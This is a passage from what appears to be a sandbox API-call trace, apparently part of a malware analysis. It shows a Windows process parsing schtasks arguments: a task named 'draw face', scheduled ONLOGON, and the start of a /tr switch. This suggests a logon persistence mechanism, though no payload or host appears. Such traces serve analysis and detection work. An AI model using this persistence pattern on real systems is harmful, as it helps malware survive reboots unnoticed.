_Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|ru|") returned 4 [0120.646] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.646] lstrlenW (lpString="|ru|") returned 4 [0120.646] lstrlenW (lpString="|tn|") returned 4 [0120.646] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0120.646] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.646] lstrlenW (lpString="rp") returned 2 [0120.646] lstrlenW (lpString="rp") returned 2 [0120.646] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.646] lstrlenW (lpString="tn") returned 2 [0120.646] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.647] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rp|") returned 4 [0120.647] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.647] lstrlenW (lpString="|rp|") returned 4 [0120.647] lstrlenW (lpString="|tn|") returned 4 [0120.647] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0120.647] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.647] lstrlenW (lpString="sc") returned 2 [0120.647] lstrlenW (lpString="sc") returned 2 [0120.647] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.647] lstrlenW (lpString="tn") returned 2 [0120.647] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.647] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.647] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.647] lstrlenW (lpString="|sc|") returned 4 [0120.647] lstrlenW (lpString="|tn|") returned 4 [0120.647] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0120.647] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.647] lstrlenW (lpString="mo") returned 2 [0120.647] lstrlenW (lpString="mo") returned 2 [0120.647] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.647] lstrlenW (lpString="tn") returned 2 [0120.647] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.647] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|mo|") returned 4 [0120.648] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.648] lstrlenW (lpString="|mo|") returned 4 [0120.648] lstrlenW (lpString="|tn|") returned 4 [0120.648] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0120.648] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.648] lstrlenW (lpString="d") returned 1 [0120.648] lstrlenW (lpString="d") returned 1 [0120.648] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.648] lstrlenW (lpString="tn") returned 2 [0120.648] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.648] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|d|") returned 3 [0120.648] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.648] lstrlenW (lpString="|d|") returned 3 [0120.648] lstrlenW (lpString="|tn|") returned 4 [0120.648] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.648] lstrlenW (lpString="m") returned 1 [0120.648] lstrlenW (lpString="m") returned 1 [0120.648] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.648] lstrlenW (lpString="tn") returned 2 [0120.648] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.648] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|m|") returned 3 [0120.648] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.648] lstrlenW (lpString="|m|") returned 3 [0120.648] lstrlenW (lpString="|tn|") returned 4 [0120.648] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.649] lstrlenW (lpString="i") returned 1 [0120.649] lstrlenW (lpString="i") returned 1 [0120.649] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.649] lstrlenW (lpString="tn") returned 2 [0120.649] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.649] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|i|") returned 3 [0120.649] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.649] lstrlenW (lpString="|i|") returned 3 [0120.649] lstrlenW (lpString="|tn|") returned 4 [0120.649] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.649] lstrlenW (lpString="tn") returned 2 [0120.649] lstrlenW (lpString="tn") returned 2 [0120.649] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.649] lstrlenW (lpString="tn") returned 2 [0120.649] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.649] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.649] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.649] lstrlenW (lpString="|tn|") returned 4 [0120.649] lstrlenW (lpString="|tn|") returned 4 [0120.649] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0120.649] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.649] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.649] lstrlenW (lpString="draw face") returned 9 [0120.649] lstrlenW (lpString="-/") returned 2 [0120.649] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0120.650] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.650] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.650] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.650] lstrlenW (lpString="draw face") returned 9 [0120.650] StrChrIW (lpStart="draw face", wMatch=0x3a) returned 0x0 [0120.650] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.650] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.650] lstrlenW (lpString="draw face") returned 9 [0120.650] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.650] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.650] lstrlenW (lpString="/sc") returned 3 [0120.650] lstrlenW (lpString="-/") returned 2 [0120.650] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.650] lstrlenW (lpString="create") returned 6 [0120.650] lstrlenW (lpString="create") returned 6 [0120.650] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.650] lstrlenW (lpString="sc") returned 2 [0120.650] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.650] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|create|") returned 8 [0120.650] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.650] lstrlenW (lpString="|create|") returned 8 [0120.650] lstrlenW (lpString="|sc|") returned 4 [0120.650] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0120.650] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.650] lstrlenW (lpString="?") returned 1 [0120.650] lstrlenW (lpString="?") returned 1 [0120.650] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.651] lstrlenW (lpString="sc") returned 2 [0120.651] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.651] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|?|") returned 3 [0120.651] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.651] lstrlenW (lpString="|?|") returned 3 [0120.651] lstrlenW (lpString="|sc|") returned 4 [0120.651] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.651] lstrlenW (lpString="s") returned 1 [0120.651] lstrlenW (lpString="s") returned 1 [0120.651] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.651] lstrlenW (lpString="sc") returned 2 [0120.651] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.651] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|s|") returned 3 [0120.651] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.651] lstrlenW (lpString="|s|") returned 3 [0120.651] lstrlenW (lpString="|sc|") returned 4 [0120.651] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.651] lstrlenW (lpString="u") returned 1 [0120.651] lstrlenW (lpString="u") returned 1 [0120.651] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.651] lstrlenW (lpString="sc") returned 2 [0120.651] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.651] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|u|") returned 3 [0120.651] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.652] lstrlenW (lpString="|u|") returned 3 [0120.652] lstrlenW (lpString="|sc|") returned 4 [0120.652] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.652] lstrlenW (lpString="p") returned 1 [0120.652] lstrlenW (lpString="p") returned 1 [0120.652] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.652] lstrlenW (lpString="sc") returned 2 [0120.652] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.652] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|p|") returned 3 [0120.652] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.652] lstrlenW (lpString="|p|") returned 3 [0120.652] lstrlenW (lpString="|sc|") returned 4 [0120.652] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.652] lstrlenW (lpString="ru") returned 2 [0120.652] lstrlenW (lpString="ru") returned 2 [0120.652] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.652] lstrlenW (lpString="sc") returned 2 [0120.652] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.652] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|ru|") returned 4 [0120.652] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.652] lstrlenW (lpString="|ru|") returned 4 [0120.652] lstrlenW (lpString="|sc|") returned 4 [0120.652] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0120.656] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.656] lstrlenW (lpString="rp") returned 2 [0120.656] lstrlenW (lpString="rp") returned 2 [0120.656] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.656] lstrlenW (lpString="sc") returned 2 [0120.656] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.656] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rp|") returned 4 [0120.656] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.656] lstrlenW (lpString="|rp|") returned 4 [0120.656] lstrlenW (lpString="|sc|") returned 4 [0120.656] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0120.656] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.656] lstrlenW (lpString="sc") returned 2 [0120.656] lstrlenW (lpString="sc") returned 2 [0120.656] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.656] lstrlenW (lpString="sc") returned 2 [0120.656] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.657] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.657] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.657] lstrlenW (lpString="|sc|") returned 4 [0120.657] lstrlenW (lpString="|sc|") returned 4 [0120.657] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0120.657] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.657] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.657] lstrlenW (lpString="ONLOGON") returned 7 [0120.657] lstrlenW (lpString="-/") returned 2 [0120.657] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0120.657] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.657] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.657] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.657] lstrlenW (lpString="ONLOGON") returned 7 [0120.657] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0120.657] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.657] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.657] GetProcessHeap () returned 0x286ac7d0000 [0120.657] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x18) returned 0x286ac7da880 [0120.657] _memicmp (_Buf1=0x286ac7da880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.657] lstrlenW (lpString="ONLOGON") returned 7 [0120.657] GetProcessHeap () returned 0x286ac7d0000 [0120.657] RtlAllocateHeap (HeapHandle=0x286ac7d0000, Flags=0xc, Size=0x10) returned 0x286ac7da9a0 [0120.657] lstrlenW (lpString="ONLOGON") returned 7 [0120.657] lstrlenW (lpString=" \x09") returned 2 [0120.657] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0120.657] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0120.658] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0120.658] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0120.658] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0120.658] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0120.658] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0120.658] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0120.658] GetLastError () returned 0x0 [0120.658] lstrlenW (lpString="ONLOGON") returned 7 [0120.658] lstrlenW (lpString="ONLOGON") returned 7 [0120.658] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.658] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.658] lstrlenW (lpString="/tr") returned 3 [0120.658] lstrlenW (lpString="-/") returned 2 [0120.658] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0120.658] lstrlenW (lpString="create") returned 6 [0120.658] lstrlenW (lpString="create") returned 6 [0120.658] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.658] lstrlenW (lpString="tr") returned 2 [0120.658] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.658] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x9, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|create|") returned 8 [0120.658] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.658] lstrlenW (lpString="|create|") returned 8 [0120.658] lstrlenW (lpString="|tr|") returned 4 [0120.658] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0120.658] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.658] lstrlenW (lpString="?") returned 1 [0120.658] lstrlenW (lpString="?") returned 1 [0120.659] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.659] lstrlenW (lpString="tr") returned 2 [0120.659] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.659] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|?|") returned 3 [0120.659] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.659] lstrlenW (lpString="|?|") returned 3 [0120.659] lstrlenW (lpString="|tr|") returned 4 [0120.659] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.659] lstrlenW (lpString="s") returned 1 [0120.659] lstrlenW (lpString="s") returned 1 [0120.659] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.659] lstrlenW (lpString="tr") returned 2 [0120.659] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.659] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|s|") returned 3 [0120.659] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.659] lstrlenW (lpString="|s|") returned 3 [0120.659] lstrlenW (lpString="|tr|") returned 4 [0120.659] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.659] lstrlenW (lpString="u") returned 1 [0120.659] lstrlenW (lpString="u") returned 1 [0120.659] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.659] lstrlenW (lpString="tr") returned 2 [0120.659] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.659] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|u|") returned 3 [0120.659] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.660] lstrlenW (lpString="|u|") returned 3 [0120.660] lstrlenW (lpString="|tr|") returned 4 [0120.660] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.660] lstrlenW (lpString="p") returned 1 [0120.660] lstrlenW (lpString="p") returned 1 [0120.660] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.660] lstrlenW (lpString="tr") returned 2 [0120.660] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.660] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|p|") returned 3 [0120.660] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.660] lstrlenW (lpString="|p|") returned 3 [0120.660] lstrlenW (lpString="|tr|") returned 4 [0120.660] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.660] lstrlenW (lpString="ru") returned 2 [0120.660] lstrlenW (lpString="ru") returned 2 [0120.660] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.660] lstrlenW (lpString="tr") returned 2 [0120.660] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.660] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|ru|") returned 4 [0120.660] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.660] lstrlenW (lpString="|ru|") returned 4 [0120.660] lstrlenW (lpString="|tr|") returned 4 [0120.660] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0120.660] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.660] lstrlenW (lpString="rp") returned 2 [0120.660] lstrlenW (lpString="rp") returned 2 [0120.661] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.661] lstrlenW (lpString="tr") returned 2 [0120.661] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.661] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|rp|") returned 4 [0120.661] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.661] lstrlenW (lpString="|rp|") returned 4 [0120.661] lstrlenW (lpString="|tr|") returned 4 [0120.661] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0120.661] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.661] lstrlenW (lpString="sc") returned 2 [0120.661] lstrlenW (lpString="sc") returned 2 [0120.661] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.661] lstrlenW (lpString="tr") returned 2 [0120.661] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.661] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|sc|") returned 4 [0120.661] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.661] lstrlenW (lpString="|sc|") returned 4 [0120.661] lstrlenW (lpString="|tr|") returned 4 [0120.661] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0120.661] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.661] lstrlenW (lpString="mo") returned 2 [0120.661] lstrlenW (lpString="mo") returned 2 [0120.661] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.661] lstrlenW (lpString="tr") returned 2 [0120.662] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.662] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|mo|") returned 4 [0120.662] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.662] lstrlenW (lpString="|mo|") returned 4 [0120.662] lstrlenW (lpString="|tr|") returned 4 [0120.662] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0120.662] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.662] lstrlenW (lpString="d") returned 1 [0120.662] lstrlenW (lpString="d") returned 1 [0120.662] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.662] lstrlenW (lpString="tr") returned 2 [0120.662] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.662] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|d|") returned 3 [0120.662] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.662] lstrlenW (lpString="|d|") returned 3 [0120.662] lstrlenW (lpString="|tr|") returned 4 [0120.662] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.662] lstrlenW (lpString="m") returned 1 [0120.662] lstrlenW (lpString="m") returned 1 [0120.662] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.662] lstrlenW (lpString="tr") returned 2 [0120.662] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.662] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|m|") returned 3 [0120.662] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.662] lstrlenW (lpString="|m|") returned 3 [0120.662] lstrlenW (lpString="|tr|") returned 4 [0120.663] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.663] lstrlenW (lpString="i") returned 1 [0120.663] lstrlenW (lpString="i") returned 1 [0120.663] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.663] lstrlenW (lpString="tr") returned 2 [0120.663] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.663] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|i|") returned 3 [0120.663] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.663] lstrlenW (lpString="|i|") returned 3 [0120.663] lstrlenW (lpString="|tr|") returned 4 [0120.663] RtlRestoreLastWin32Error () returned 0xb176896000 [0120.663] lstrlenW (lpString="tn") returned 2 [0120.663] lstrlenW (lpString="tn") returned 2 [0120.663] _memicmp (_Buf1=0x286ac7d3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.663] lstrlenW (lpString="tr") returned 2 [0120.663] _memicmp (_Buf1=0x286ac7daa00, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0120.663] _vsnwprintf (in: _Buffer=0x286ac7d3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tn|") returned 4 [0120.663] _vsnwprintf (in: _Buffer=0x286ac7daa80, _BufferCount=0x5, _Format="|%s|", _ArgList=0xb17668c848 | out: _Buffer="|tr|") returned 4 [0120.663] lstrlenW (lpString="|tn|") returned 4 [0120.663] lstrlenW (lpString="|tr|") returned 4 [0120.663] StrStrIW (lpFirst="|tn|", 